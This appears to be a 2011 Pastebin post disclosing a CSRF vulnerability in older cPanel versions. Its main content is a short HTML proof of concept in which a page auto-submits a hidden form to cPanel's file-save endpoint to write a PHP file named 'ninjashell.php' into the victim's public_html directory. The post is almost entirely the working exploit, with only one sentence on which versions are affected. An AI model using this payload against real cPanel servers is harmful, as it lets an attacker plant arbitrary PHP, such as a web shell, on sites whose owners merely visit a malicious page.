Advertisement
Xylitol

Cpanel 11.25 Csrf Vulnerability To Upload Any Php Script

Jul 18th, 2011
428
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 0.76 KB | None | 0 0
  1. cPanel versions below and excluding 11.25 , are vulnerable to CSRF which leads to uploading a PHP script of the attackers liking. If you have turned off security tokens and referrer security check, no matter what version you are using, you are vulnerable as well.
  2.  
  3. Proof Of Concept :
  4. <html>
  5. <form name="editform" action="
  6. http://localhost:2082/frontend/x3/err/savefile.html" method=POST onSubmit="return loadfdata();">
  7. <input type="hidden" id="codepage" class="codepress html" name="page" value="<?php echo 'ninjashell'; ?>">
  8. <input type="hidden" name="domain" value="localhost">
  9. <input type="hidden" value="public_html/" name="dir">
  10. <input type="hidden" value="ninjashell.php" name="file">
  11. <body onload="document.forms.editform.submit();">
  12. </form>
  13. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement